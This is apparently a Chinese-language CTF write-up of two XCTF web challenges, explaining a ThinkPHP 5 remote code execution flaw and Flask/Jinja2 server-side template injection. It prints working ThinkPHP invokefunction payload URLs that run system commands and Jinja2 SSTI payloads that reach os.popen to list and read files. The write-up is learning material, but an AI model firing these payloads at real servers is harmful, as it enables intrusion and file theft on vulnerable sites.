XCTF系列 // Web | php_rce & Web_python_template_injection

前言

这两题涉及到的知识点有,ThinkPHP 的远程代码执行漏洞 以及 flask的 SSTI 漏洞(服务端模板注入)

1` php_rce

ThinkPHP 是一个轻量级国产 PHP 开发框架,它可以支持 windows/Unix/Linux 等服务器环境。在 ThinkPHP 5 中出现了由于变量覆盖而引起的 RCE(远程命令/代码执行漏洞 – remote command/code execute),其漏洞根本源于 thinkphp/library/think/Request.php 中 method 方法可以进行变量覆盖,通过覆盖类的核心属性 filter 导致 rce 。
  
关于 ThinkPHP 5 中该漏洞的详细分析可参考此文章 ThinkPHP 5.1框架结合RCE漏洞的深入分析 。
关于命令执行漏洞可参考早些时候写的博客 XCTF系列 // Web ez题 Writeup 中的 6` command_execution 。

漏洞还没看明白……只会用payload……

在这里贴上常见的一种简单payload:

模板之一:
index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=相关的php代码

//开头的index.php默认的话可以不需要

例如:

以 flag 为关键词查找相关文件:

index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=find / -name "flag*"

显示指定文件内容(例如 /flag):

index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat /flag

查看whoami:

index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

查看phpinfo:

index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1

2` Web_python_template_injection

本题题目为 template_injection ,即模板注入。

在介绍 SSTI(模板注入) 之前,首先先来介绍一下 SST(模板引擎),百度百科中对其的描述为,模板引擎(这里特指用于Web开发的模板引擎)是为了使用户界面与业务数据(内容)分离而产生的,它可以生成特定格式的文档,如用于网站的模板引擎会生成一个标准的HTML文档。
模板引擎的实现方式有很多,最简单的是“置换型”模板引擎,这类模板引擎只是将指定模板内容(字符串)中的特定标记(子字符串)替换一下便生成了最终需要的业务数据(比如网页)。

个人对其的理解就是,我预先写好了一个比较通用的模板内容,在这个模板中的某些地方是空着的,因为这些地方的内容会依具体需要而不同。当我需要生成 HTML 代码的时候,我可以借助该模板,通过脚本语言传入变量数据,使用模板引擎将模板中空着的地方替换为我们输入的数据。

例如,定义一个模板,


{$content}

如果我需要生成

realContent

这么一个 HTML 内容,那么我可以将 realContent 作为数据传给模板引擎,让它将其渲染到模板中,渲染完成后的结果即为,


realContent

模板引擎有很多,例如,Smarty 是一个基于 PHP 开发的 PHP 模板引擎,JINJA2 是基于 Python 的模板引擎,Velocity 是一个基于 Java 的模板引擎,And so on。

本题题目中的提示为 Python ,故对应的是 Jinja2 模板引擎。这里又不得不提到 Flask ,Flask 是一个使用 Python 编写的轻量级 Web 应用框架。它使用的模板引擎即为 Jinja2 。

Flask 模块的渲染方法有 render_templaterender_template_string 两种。

render_template() 用来渲染一个指定的文件
例如:return render_template('index.html')

render_template_string() 则是用来渲染一个字符串的,SSTI与这个方法密不可分
例如:html = '

This is index page

' return render_template_string(html)

接下来开始介绍 SSTI(模板注入),Flask 模板注入的产生条件为不正确的使用 Flask 中的 render_template_string() 方法。

在 Jinja2 模板引擎中,{{}} 是变量包裹标识符。在使用 render_template_string() 的同时,使用 %s 来替换字符串的时候,会把字符串中被 {{}} 包围的内容当作变量解析。{{}} 并不仅仅可以传递变量,还可以执行一些简单的表达式。

由于没有搭建相关环境,模板注入相关示例可参照:python-flask模块注入(SSTI),在这里顺便附上本题相关 writeup 中关于模板注入的描述如下:

XCTF系列 // Web | php_rce & Web_python_template_injection_第1张图片
XCTF系列 // Web | php_rce & Web_python_template_injection_第2张图片
了解完相关知识点后,现在我们可以结合本题来具体整理分析一下。

首先通过 {{}} 变量包裹标识符进行简单的表达式测试来判断是否确实存在 SSTI 漏洞。

http://111.198.29.45:46675/{{7*7}}

在这里插入图片描述
可以看到表达式被执行了,说明确实存在 SSTI 漏洞。接下来我们就需要寻找 flag 了,首先我们需要获取到控制台权限(可以利用 Python 的 os.systemos.popen ,前者返回 退出状态码 ,后者 以 file 形式返回输出内容,我们想要的是内容,所以选择 os.popen),因为我们需要实现文件读取和命令执行。But 由于我们无法直接使用这些方法,所以我们需要另辟蹊径。

Python 是面向对象的编程语言,有着类、对象和继承属性。因此我们可以通过 Python 的对象的继承来一步步实现文件查找和读取。

Python 所有类的几个魔法方法:

__class__  返回类型所属的对象(类)
__mro__    返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
__base__   返回该对象所继承的基类
// __base__和__mro__都是用来寻找基类的
__subclasses__   每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
__init__  类的初始化方法
__globals__  对包含函数全局变量的字典的引用

由于本人 Python 水平不高……逐步获取权限的过程可参照以下博客:
python 模板注入
FLASK模板注入 (SSTI)

这两篇博客对此过程都有很详细的描述,获取到权限以后,剩下的事情就很简单了。

直接上 Payload:

查看文件(ls):
①{{''.__class__.__mro__[-1].__subclasses__()[71].__init__.__globals__['os'].listdir('./')}}
②{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()}}

文件读取:
①{{''.__class__.__mro__[-1].__subclasses__()[40]('相关文件名').read()}}
②{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('cat 相关文件名').read()}}

在这里插入图片描述
在这里插入图片描述

你可能感兴趣的:(CTF)